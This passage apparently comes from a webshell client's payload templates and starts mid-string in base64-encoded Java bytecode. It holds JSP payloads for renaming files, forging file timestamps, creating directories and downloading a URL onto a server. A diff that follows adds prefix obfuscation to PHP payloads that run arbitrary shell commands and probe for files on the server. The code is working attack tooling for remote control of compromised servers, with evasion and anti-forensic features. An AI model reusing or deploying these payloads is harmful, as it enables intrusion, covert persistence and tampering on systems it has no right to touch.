amF2YS9pby9GaWxlDACwALEBAAExAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAIcmVuYW1lVG8BABEoTGphdmEvaW8vRmlsZTspWgAhADsAPAAAAAAABQABAD0APgABAD8AAAAdAAEAAQAAAAUqtwABsQAAAAEAQAAAAAYAAQAAAAcAAQBBAEIAAQA/AAAB3QAFAAsAAAElK8AAAk0stgADTiy2AAQ6BC0SBbkABgIAxgAOLRIFuQAGAgCnAAUSBzoFLRIIuQAGAgDGAA4tEgi5AAYCAKcABRIJOga7AApZEge3AAs6B7sAClkSB7cACzoIGQQSDLkADQIALRkGuQAOAgAZBBkGuQAPAgAqKrsAEFm3ABEtEhK5AAYCALYAExIHtgATtgAUGQUZBrYAFRkFGQa2ABY6CSoquwAQWbcAES0SF7kABgIAtgATEge2ABO2ABQZBRkGtgAVGQUZBrYAFjoKGQcSGLYAGVcZCCoZCRkKtgAatgAZVxkHGQi2ABu2ABlXGQcSHLYAGVcstgAdGQe2ABu2AB6nACI6CRkIuwAQWbcAERIgtgATGQm2ACG2ABO2ABS2ABlXBKwAAQBaAQEBBAAfAAIAQAAAAFYAFQAAAAoABQALAAoADAAQAA0AKgAOAEQADwBPABAAWgASAGMAEwBrABQAdAAVAKAAFgDMABcA1AAYAOIAGQDtABoA9QAbAQEAHgEEABwBBgAdASMAHwBDAAAAQgAG/gAmBwBEBwBFBwBGQQcAR/wAFwcAR0EHAEf/AMEACQcASAcASQcARAcARQcARgcARwcARwcASgcASgABBwBLHgAAAEwATQACAD8AAABEAAQABAAAAB4sEiK2ACOaAAksEiKmAAUrsLsAJFkrtgAlLbcAJrAAAAACAEAAAAAKAAIAAAAiABEAIwBDAAAABAACDwEATgAAAAQAAQAfAAAATwBNAAIAPwAAAWgABgAIAAAA3CwSIrYAI5oACSwSIqYAnysSJ6UADCsSJ7YAI5kABhIHsBIoOgQrtgApTLsAKlkrtgArBWy3ACw6BRIHOgYDNgcVByu2ACuiAF27ABBZtwARGQa2ABMZBCsVB7YALbYALgd4GQQrFQcEYLYALbYALoC2AC8SMLYAE7YAFDoGGQUZBCsVB7YALbYALgd4GQQrFQcEYLYALbYALoC2ADGEBwKn/6AZBRIJtgAysCwSM7YAI5oACSwSM6YAIwE6BLsANFm3ADU6BRkFK7YANjoEuwAkWRkEEgm3ACawK7AAAAACAEAAAABKABIAAAAmAA8AJwAeACgAIQAqACUAKwAqACwAOQAtAD0ALgBJAC8AfQAwAJ0ALgCjADIAqwAzALoANAC9ADUAxgA2AM4ANwDaADkAQwAAACoACA8OAv8AHgAIBwBIBwBHBwBHBwBHBwBHBwBQBwBHAQAA+gBi+AAHDh8ATgAAAAQAAQAfAAAAUQBSAAIAPwAAAD0AAwAFAAAAHbsAN1krtwA4TrsAN1kstwA4OgQtGQS2ADlXEjqwAAAAAQBAAAAADgADAAAAPAATAD0AGgA+AE4AAAAEAAEAHwABAFMAAAACAFQ=',
'var1': '#{path}',
'var2': '#{name}'
},
retime: {
_: 'yv66vgAAADIAwQoAQQBaBwBbCgACAFwKAAIAXQgAXgsAXwBgCABhCABiCABjBwBkCgAKAGUIAGYLAGcAaAsAXwBpCwBnAGkHAGoKABAAWggAawoAEABsCgAQAG0KAEAAbgoAQABvCABwCABxCgAKAHIKAEAAcwoACgBtCAB0CgACAHUKAHYAdwcAeAgAeQoAHwBtCAB6CgAkAHsHAHwKACQAfQoAJAB+CAB/CACACgAkAIEHAIIKACQAgwoAKgCECgAkAIUKACQAhgoAEACHCACICgAqAIkKACoAiggAiwcAjAoANABaCgA0AI0HAI4KADcAZQcAjwgAkAoAOQBlCgA5AJEKAJIAkwoANwCUCACVBwBWBwCWAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAFsHAJcHAJgHAHwHAFYHAJYHAGQHAHgBAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAggEAF01vZGlmeUZpbGVPckRpclRpbWVDb2RlAQA4KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAcTW9kaWZ5RmlsZU9yRGlyVGltZUNvZGUuamF2YQwAQgBDAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAJkAmgwAmwCcAQAHZW5jb2RlcgcAlwwAnQCeAQAAAQAHY2hhcnNldAEABVVURi04AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAQgCfAQAJdGV4dC9odG1sBwCYDACgAJ8MAKEAnwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAogCjDACkAKUMAFQAUgwAUQBSAQAEdmFyMgEAAy0+fAwAogCmDABWAFcBAAN8PC0MAKcAqAcAqQwAqgCfAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwARgBHAQAQamF2YS9sYW5nL1N0cmluZwwAqwCsDABCAK0BAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwArgClAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAK8AsAwAQgCxDACyALMMALQAtQwAogC2AQABLAwAtwCxDACkAJ4BAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAC4ALkBAAxqYXZhL2lvL0ZpbGUBABpqYXZhL3RleHQvU2ltcGxlRGF0ZUZvcm1hdAEAE3l5eXktTU0tZGQgSEg6bW06c3MMALoAuwcAvAwAvQC+DAC/AMABAAExAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAFcGFyc2UBACQoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvRGF0ZTsBAA5qYXZhL3V0aWwvRGF0ZQEAB2dldFRpbWUBAAMoKUoBAA9zZXRMYXN0TW9kaWZpZWQBAAQoSilaACEAQABBAAAAAAAFAAEAQgBDAAEARAAAAB0AAQABAAAABSq3AAGxAAAAAQBFAAAABgABAAAACAABAEYARwABAEQAAAHdAAUACwAAASUrwAACTSy2AANOLLYABDoELRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHOgUtEgi5AAYCAMYADi0SCLkABgIApwAFEgk6BrsAClkSB7cACzoHuwAKWRIHtwALOggZBBIMuQANAgAtGQa5AA4CABkEGQa5AA8CACoquwAQWbcAES0SErkABgIAtgATEge2ABO2ABQZBRkGtgAVGQUZBrYAFjoJKiq7ABBZtwARLRIXuQAGAgC2ABMSB7YAE7YAFBkFGQa2ABUZBRkGtgAWOgoZBxIYtgAZVxkIKhkJGQq2ABq2ABlXGQcZCLYAG7YAGVcZBxIctgAZVyy2AB0ZB7YAG7YAHqcAIjoJGQi7ABBZtwAREiC2ABMZCbYAIbYAE7YAFLYAGVcErAABAFoBAQEEAB8AAgBFAAAAVgAVAAAACwAFAAwACgANABAADgAqAA8ARAAQAE8AEQBaABMAYwAUAGsAFQB0ABYAoAAXAMwAGADUABkA4gAaAO0AGwD1ABwBAQAfAQQAHQEGAB4BIwAgAEgAAABCAAb+ACYHAEkHAEoHAEtBBwBM/AAXBwBMQQcATP8AwQAJBwBNBwBOBwBJBwBKBwBLBwBMBwBMBwBPBwBPAAEHAFAeAAAAUQBSAAIARAAAAEQABAAEAAAAHiwSIrYAI5oACSwSIqYABSuwuwAkWSu2ACUttwAmsAAAAAIARQAAAAoAAgAAACMAEQAkAEgAAAAEAAIPAQBTAAAABAABAB8AAABUAFIAAgBEAAABaAAGAAgAAADcLBIitgAjmgAJLBIipgCfKxInpQAMKxIntgAjmQAGEgewEig6BCu2AClMuwAqWSu2ACsFbLcALDoFEgc6BgM2BxUHK7YAK6IAXbsAEFm3ABEZBrYAExkEKxUHtgAttgAuB3gZBCsVBwRgtgAttgAugLYALxIwtgATtgAUOgYZBRkEKxUHtgAttgAuB3gZBCsVBwRgtgAttgAugLYAMYQHAqf/oBkFEgm2ADKwLBIztgAjmgAJLBIzpgAjAToEuwA0WbcANToFGQUrtgA2OgS7ACRZGQQSCbcAJrArsAAAAAIARQAAAEoAEgAAACcADwAoAB4AKQAhACsAJQAsACoALQA5AC4APQAvAEkAMAB9ADEAnQAvAKMAMwCrADQAugA1AL0ANgDGADcAzgA4ANoAOgBIAAAAKgAIDw4C/wAeAAgHAE0HAEwHAEwHAEwHAEwHAFUHAEwBAAD6AGL4AAcOHwBTAAAABAABAB8AAABWAFcAAgBEAAAAUQADAAYAAAApuwA3WSu3ADhOuwA5WRI6twA7OgQZBCy2ADw6BS0ZBbYAPbYAPlcSP7AAAAABAEUAAAAWAAUAAAA9AAkAPgAUAD8AHABAACYAQQBTAAAABAABAB8AAQBYAAAAAgBZ',
'var1': '#{path}',
'var2': '#{time}'
},
mkdir: {
_: 'yv66vgAAADIArwoAOwBUBwBVCgACAFYKAAIAVwgAWAsAWQBaCABbCABcCABdBwBeCgAKAF8IAGALAGEAYgsAWQBjCwBhAGMHAGQKABAAVAgAZQoAEABmCgAQAGcKADoAaAoAOgBpCABqCgAKAGsKADoAbAoACgBnCABtCgACAG4KAG8AcAcAcQgAcgoAHgBnCABzCgAjAHQHAHUKACMAdgoAIwB3CAB4CAB5CgAjAHoHAHsKACMAfAoAKQB9CgAjAH4KACMAfwoAEACACACBCgApAIIKACkAgwgAhAcAhQoAMwBUCgAzAIYHAIcKADYAXwoANgCICACJBwBQBwCKAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAFUHAIsHAIwHAHUHAFAHAIoHAF4HAHEBAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAewEADUNyZWF0ZURpckNvZGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBABJDcmVhdGVEaXJDb2RlLmphdmEMADwAPQEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DACNAI4MAI8AkAEAB2VuY29kZXIHAIsMAJEAUQEAAAEAB2NoYXJzZXQBAAVVVEYtOAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMADwAkgEACXRleHQvaHRtbAcAjAwAkwCSDACUAJIBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjEMAJUAlgwAlwCYDABOAEwMAEsATAEAAy0+fAwAlQCZDABQAFEBAAN8PC0MAJoAmwcAnAwAnQCSAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwAQABBAQAQamF2YS9sYW5nL1N0cmluZwwAngCfDAA8AKABAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwAoQCYAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAKIAowwAPACkDAClAKYMAKcAqAwAlQCpAQABLAwAqgCkDACXAFEBAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDACrAKwBAAxqYXZhL2lvL0ZpbGUMAK0ArgEAATEBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAFbWtkaXIBAAMoKVoAIQA6ADsAAAAAAAUAAQA8AD0AAQA+AAAAHQABAAEAAAAFKrcAAbEAAAABAD8AAAAGAAEAAAAHAAEAQABBAAEAPgAAAasABQAKAAAA9yvAAAJNLLYAA04stgAEOgQtEgW5AAYCAMYADi0SBbkABgIApwAFEgc6BS0SCLkABgIAxgAOLRIIuQAGAgCnAAUSCToGuwAKWRIHtwALOge7AApZEge3AAs6CBkEEgy5AA0CAC0ZBrkADgIAGQQZBrkADwIAKiq7ABBZtwARLRISuQAGAgC2ABMSB7YAE7YAFBkFGQa2ABUZBRkGtgAWOgkZBxIXtgAYVxkIKhkJtgAZtgAYVxkHGQi2ABq2ABhXGQcSG7YAGFcstgAcGQe2ABq2AB2nACI6CRkIuwAQWbcAERIftgATGQm2ACC2ABO2ABS2ABhXBKwAAQBaANMA1gAeAAIAPwAAAFIAFAAAAAoABQALAAoADAAQAA0AKgAOAEQADwBPABAAWgASAGMAEwBrABQAdAAVAKAAFgCoABcAtAAYAL8AGQDHABoA0wAdANYAGwDYABwA9QAeAEIAAABCAAb+ACYHAEMHAEQHAEVBBwBG/AAXBwBGQQcARv8AkwAJBwBHBwBIBwBDBwBEBwBFBwBGBwBGBwBJBwBJAAEHAEoeAAAASwBMAAIAPgAAAEQABAAEAAAAHiwSIbYAIpoACSwSIaYABSuwuwAjWSu2ACQttwAlsAAAAAIAPwAAAAoAAgAAACEAEQAiAEIAAAAEAAIPAQBNAAAABAABAB4AAABOAEwAAgA+AAABaAAGAAgAAADcLBIhtgAimgAJLBIhpgCfKxImpQAMKxImtgAimQAGEgewEic6BCu2AChMuwApWSu2ACoFbLcAKzoFEgc6BgM2BxUHK7YAKqIAXbsAEFm3ABEZBrYAExkEKxUHtgAstgAtB3gZBCsVBwRgtgAstgAtgLYALhIvtgATtgAUOgYZBRkEKxUHtgAstgAtB3gZBCsVBwRgtgAstgAtgLYAMIQHAqf/oBkFEgm2ADGwLBIytgAimgAJLBIypgAjAToEuwAzWbcANDoFGQUrtgA1OgS7ACNZGQQSCbcAJbArsAAAAAIAPwAAAEoAEgAAACUADwAmAB4AJwAhACkAJQAqACoAKwA5ACwAPQAtAEkALgB9AC8AnQAtAKMAMQCrADIAugAzAL0ANADGADUAzgA2ANoAOABCAAAAKgAIDw4C/wAeAAgHAEcHAEYHAEYHAEYHAEYHAE8HAEYBAAD6AGL4AAcOHwBNAAAABAABAB4AAABQAFEAAgA+AAAAMQADAAMAAAARuwA2WSu3ADdNLLYAOFcSObAAAAABAD8AAAAOAAMAAAA7AAkAPAAOAD0ATQAAAAQAAQAeAAEAUgAAAAIAUw==',
'var1': '#{path}'
},
wget: {
_: 'yv66vgAAADIA0QoARQBjBwBkCgACAGUKAAIAZggAZwsAaABpCABqCABrCABsBwBtCgAKAG4IAG8LAHAAcQsAaAByCwBwAHIHAHMKABAAYwgAdAoAEAB1CgAQAHYKAEQAdwoARAB4CAB5CAB6CgAKAHsKAEQAfAoACgB2CAB9CgACAH4KAH8AgAcAgQgAggoAHwB2CACDCgAkAIQHAIUKACQAhgoAJACHCACICACJCgAkAIoHAIsKACQAjAoAKgCNCgAkAI4KACQAjwoAEACQCACRCgAqAJIKACoAkwgAlAcAlQoANABjCgA0AJYHAJcKADcAbgcAmAoAOQBuCgA3AJkHAJoKADwAmwoAnACdCgA5AJ4KADkAnwoAnACfCgA8AKAIAKEHAFoHAKIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAZAcAowcApAcAhQcAWgcAogcAbQcAgQEAAkVDAQBKKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCLAQAIV2dldENvZGUBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwcAlwcAmAcAmgcApQcApgEAClNvdXJjZUZpbGUBAA1XZ2V0Q29kZS5qYXZhDABGAEcBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwApwCoDACpAKoBAAdlbmNvZGVyBwCjDACrAKwBAAABAAdjaGFyc2V0AQAFVVRGLTgBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyDABGAK0BAAl0ZXh0L2h0bWwHAKQMAK4ArQwArwCtAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAR2YXIxDACwALEMALIAswwAWABWDABVAFYBAAR2YXIyAQADLT58DACwALQMAFoAWwEAA3w8LQwAtQC2BwC3DAC4AK0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABKAEsBABBqYXZhL2xhbmcvU3RyaW5nDAC5ALoMAEYAuwEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDAC8ALMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwAvQC+DABGAL8MAMAAwQwAwgDDDACwAMQBAAEsDADFAL8MALIArAEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAMYAxwEADGphdmEvbmV0L1VSTAEAGGphdmEvaW8vRmlsZU91dHB1dFN0cmVhbQwAyADJAQAaamF2YS9uZXQvSHR0cFVSTENvbm5lY3Rpb24MAMoAywcApQwAzADNDADFAM4MAM8ARwwA0ABHAQABMQEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNqYXZhL2lvL0lucHV0U3RyZWFtAQACW0IBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZs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',
'var1': '#{url}',
'var2': '#{path}'
}
})
\ No newline at end of file
...@@ -4,9 +4,9 @@ ...@@ -4,9 +4,9 @@
module.exports = (arg1, arg2, arg3) => ({ module.exports = (arg1, arg2, arg3) => ({
exec: { exec: {
_: `$p=base64_decode($_POST["${arg1}"]); _: `$p=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));
$s=base64_decode($_POST["${arg2}"]); $s=base64_decode(substr($_POST["${arg2}"],#randomPrefix#));
$envstr=@base64_decode($_POST["${arg3}"]); $envstr=@base64_decode(substr($_POST["${arg3}"],#randomPrefix#));
$d=dirname($_SERVER["SCRIPT_FILENAME"]); $d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\""; $c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";
if(substr($d,0,1)=="/"){ if(substr($d,0,1)=="/"){
...@@ -102,20 +102,20 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -102,20 +102,20 @@ module.exports = (arg1, arg2, arg3) => ({
}; };
$ret=@runcmd($r." 2>&1"); $ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";`.replace(/\n\s+/g, ''), print ($ret!=0)?"ret={$ret}":"";`.replace(/\n\s+/g, ''),
[arg1]: "#{base64::bin}", [arg1]: "#{newbase64::bin}",
[arg2]: "#{base64::cmd}", [arg2]: "#{newbase64::cmd}",
[arg3]: "#{base64::env}" [arg3]: "#{newbase64::env}"
}, },
listcmd: { listcmd: {
_: `$arr=explode(",",base64_decode($_POST["${arg1}"])); _: `$arr=explode(",",base64_decode(substr($_POST["${arg1}"],#randomPrefix#)));
foreach($arr as $v){ foreach($arr as $v){
echo($v."\t".(file_exists($v)?"1":"0")."\n"); echo($v."\t".(file_exists($v)?"1":"0")."\n");
}`.replace(/\n\s+/g, ''), }`.replace(/\n\s+/g, ''),
